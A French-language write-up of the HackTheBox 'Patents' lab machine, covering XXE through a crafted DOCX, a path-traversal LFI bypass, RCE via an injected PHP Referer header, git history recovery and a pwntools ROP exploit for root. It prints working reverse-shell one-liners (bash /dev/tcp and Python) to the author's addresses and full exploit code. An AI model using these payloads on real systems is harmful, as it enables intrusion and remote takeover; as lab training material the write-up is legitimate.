HackTheBox. Adoption de brevets. XXE via des fichiers DOCX, LFI Ă  RCE, GIT et ROP

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox .

Dans cet article, nous exploitons XXE dans le service de conversion de documents DOCX en PDF, obtenons RCE via LFI, creusons dans l'historique GIT et restaurons des fichiers, composons des chaînes ROP à l'aide de pwntools et trouvons un fichier racine caché.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP 10.10.10.173, que j'ajoute Ă  / etc / hosts.

10.10.10.173    patents.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP Ă  partir de l'interface tun0 Ă  une vitesse de 500 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

image

Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.

nmap -A patents.htb -p22,80,8888

image

L'hôte exécute les services SSH et le serveur Web Apache, le port 8888 étant réservé à un service incompréhensible. Voyons le Web.

image

Le site dispose d'un formulaire de téléchargement des documents DOCX.

image

XXE DOCX


Selon la déclaration, notre document sera converti au format PDF. Cela suggère la pensée de XXE. J'ai pris un exemple d'ici .

image

Ainsi, dans cet exemple, l'hôte tentera de télécharger le document xml depuis le serveur distant. En téléchargeant ce document, il lira le fichier local spécifié dans le document xml téléchargé, le codera en base64 et contactera à nouveau notre serveur, transmettant le fichier encodé comme paramètre de requête. Autrement dit, après avoir décodé ce paramètre, nous obtenons le fichier de la machine distante.

Mais cette charge ne doit pas être placée sur le chemin d'accès word / document.xml. Étant donné que le SDK OpenXML est utilisé pour travailler avec ce type de document, il suit d'ici et d'ici, le logiciel côté serveur recherchera les données dans word / document.xml et dans customXML / item1.xml. Par conséquent, la charge doit y être placée.

Créons un document docx et décompressez-le en tant qu'archive zip. Après cela, créez le répertoire customXML et créez-y le fichier item1.xml. Dans ce document, nous allons écrire le code de l'image ci-dessus, en changeant l'adresse IP pour la nôtre. Et nous archivons le document.

image

Exécutez maintenant le serveur Web local.

python3 -m http.server 80

Et dans le répertoire courant, nous créons le deuxième fichier xml, en spécifiant / etc / passwd comme fichier souhaité.

image

Et téléchargez le document sur le serveur. Dans la fenêtre avec le serveur Web en cours d'exécution, nous verrons la connexion inverse.

image

Décodez base64 et obtenez le fichier demandé.

image

De cette façon, nous pouvons lire des fichiers sur le serveur. Lisons les fichiers de configuration d'Apache. Pour ce faire, modifiez dtd.xml et répétez le téléchargement du document.

image

image

On retrouve donc le répertoire dans lequel se trouve le site. Essayons de lire le fichier de configuration.

image

image

Et le commentaire dit que le fichier a été renommé en raison d'une vulnérabilité. Nous y ferons bien sûr référence patents.htb / getPatent_alphav1.0.php .

image

En se tournant vers cette page et en passant le chemin ../../../../../etc/passwd comme paramètre id, toutes les occurrences de «../» seront supprimées de notre ligne. Remplaçons chaque ligne «../» par «... /. /», Donc si vous supprimez une séquence, elle restera toujours «../».

image

Et nous trouvons LFI.

Point d'accès


Essayons d'obtenir RCE à partir de cela. Franchement - c'était difficile. Le fait est que lors de l'envoi d'un tel document, nous n'avons pas reçu d'offre de téléchargement de PDF. C'est-à-dire que le descripteur 2 a été utilisé (pour afficher les messages de diagnostic et de débogage sous forme de texte). Et nous pouvons nous tourner vers lui. Encodons le shell inversé en base64:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

Nous allons le décoder et le passer à la fonction système en php. Passons le code en tant qu'en-tête HTTP lors du téléchargement d'un fichier.

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

Exécutez netcat.

nc -lvp 4321

Et maintenant, passons au deuxième descripteur.

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

Nous reprenons contact.

ROOT 1


Chargez le système de script transfère les linpeas et analysez soigneusement la sortie. Nous travaillons donc dans un conteneur docker.

image

On trouve Ă©galement des hachages. Mais le piratage, on arrive Ă  rien.

image

image

Par conséquent, exécutez pspy64 pour suivre les processus en cours d'exécution. Et nous trouvons le début du processus en tant que root, dans lequel le mot de passe est passé en tant que variable d'environnement.

image

Et changez localement l'utilisateur en entrant ce mot de passe.

image

ROOT 2


Voyons ce que fait ce script.

image

image

Nous obtenons une astuce sur certains lfmserver et enregistrons également le nom d'utilisateur et le mot de passe. Regardons dans le système tout ce qui concerne lfm.

image

Et nous trouvons le dépôt git dans ce répertoire.

image

Travaillons avec ce référentiel.

image

Voyons l'histoire des changements.

image

Voyons l'histoire des changements. Nous voyons donc que dans l'avant-dernier commit, un fichier exécutable et une description ont été ajoutés, et dans le dernier, ils ont déjà été supprimés. Revenons en arrière avant de supprimer des fichiers.

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

Et dans notre répertoire un fichier exécutable et une description sont apparus.

image

image

Ici, je voulais déjà commencer à inverser le fichier, mais - nous avons un projet git! J'ai trouvé un commit qui mentionnait les codes sources.

image

Et restaurons les fichiers.

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

Après cela, nous téléchargeons les codes sources d'intérêt, le programme lui-même et les bibliothèques sur la machine locale.

Rop


Nous devons essayer de trouver et d'exploiter la vulnérabilité dans le programme, il existe des codes sources pour vous aider. Vérifions la protection dans un fichier binaire.

image

Autrement dit, le canari et PIE sont manquants, mais la pile n'est pas exécutable. Ouvrez le fichier binaire dans n'importe quel désassembleur avec un décompilateur qui vous convient (j'utilise IDA Pro 7.2) et comparez le code décompilé avec les codes source du référentiel.

image

Pour vous connecter au serveur et utiliser les données du fichier checker.py, ainsi que les informations d'identification.

image

image

Écrivons un modèle d'exploit.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

DĂ©terminons maintenant la demande. Lancez l'application.

image

Vous devez envoyer le chemin d'accès au fichier et le hachage de son contenu. Par exemple, j'ai pris / etc / hosts.

image

Ajoutez le code suivant au modèle.

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

Maintenant, exécutez et obtenez l'erreur 404.

image

Voyons le fichier journal.

image

Il est clair où l'application recherche un fichier. Jouons avec les chemins et spécifions un tel fichier.

file = "../../../../../etc/hosts"

Nous exécuterons le code et nous ne verrons aucune erreur.

image

image

Mais dans le cas de l'urlencode, nous obtenons une réponse avec le code 200 du serveur!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

image

Génial, revenons au démonteur. On trouve parmi les lignes (Shift + F12) une réponse serveur réussie. Et voyons où il est accessible (X).

image

Et nous passons à la première fonction, où au tout début il y a une vérification des pouvoirs.

image

Renommons les lignes variables dans la fenêtre du désassembleur pour le rendre plus facile à comprendre dans le décompilateur.

image

Et en analysant le code des lignes 18-24, en comprenant ce qui suit: une partie de l'entrée utilisateur tombe dans la fonction sub_402DB9, où la chaîne est convertie en nom de variable, qui tombe ensuite dans la fonction d'accès, et si le résultat est négatif, le message 404 est émis. Ainsi, le nom de la variable sera le chemin d'accès au fichier. Étant donné que la demande a été traitée même dans le codage urlencode, cette fonction est très probablement nécessaire pour le décodage.

image

Mais le fait est que le nom de la variable, où les données sont transférées, est d'une taille limitée.

image

Ainsi, pour un dépassement de tampon, nous devons transférer 0xA0 = 160 octets. Ajoutons dans le code la fonction d'ajouter jusqu'à 160 octets et d'encoder le chemin d'accès au fichier. Étant donné que le hachage est calculé à partir du contenu du fichier, il est nécessaire de ne pas violer l'intégrité du chemin du fichier, c'est-à-dire qu'après le chemin principal, ajoutez 0x00 octets.

Mais le fait est que nous devons connaître le hachage à partir de n'importe quel fichier sur le serveur, qui sera toujours disponible et ne changera jamais. Par exemple / proc / sys / kernel / randomize_va_space, et comme nous nous souvenons de la sortie de linPEAS, ASLR est activé, c'est-à-dire que nous connaissons le hachage.

image

Modifiez ensuite le code.

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

Ça marche avec succès!

image

Utilisons maintenant une fuite de mémoire et déterminons l'adresse où la bibliothèque libc est chargée. Pour ce faire, nous obtenons l'adresse de la fonction d'écriture dans la bibliothèque libc chargée.

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

image

Sélectionnez maintenant l'adresse de la fonction dup2 (les 8 premiers octets). Soustrayez l'adresse de la fonction dup2 dans la bibliothèque déchargée. Cela trouvera l'adresse de base de libc.

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

image

Trouvez maintenant l'adresse de la ligne / bin / sh.

shell_address = next(libc.search(b"/bin/sh\x00"))

Il reste à collecter le ROP, dans lequel les descripteurs d'E / S standard (0,1,2) seront redirigés vers le descripteur enregistré dans le programme (prendre 6). Après quoi la fonction système sera appelée, où nous passerons l'adresse de la ligne / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

image

Bien! Nous obtenons le shell de la racine. Mais il meurt rapidement. Exécutez l'écouteur (nc -lvp 8765) et lancez le shell de connexion arrière.

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

image

image

Et nous avons une coque stable. Je donne le code complet dans l'image ci-dessous.

image

Mais nous ne pouvons pas lire le drapeau racine ...

image

ROOT 3


En exécutant linpeas et en regardant la sortie, nous trouvons des sections intéressantes, en particulier / dev / sda2.

image

Obtenons des informations sur tous les périphériques de bloc.

image

Nous avons donc la partition racine / dev / sda2. Créez un répertoire et montez la partition.

image

Nous trouvons donc le drapeau racine.

Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles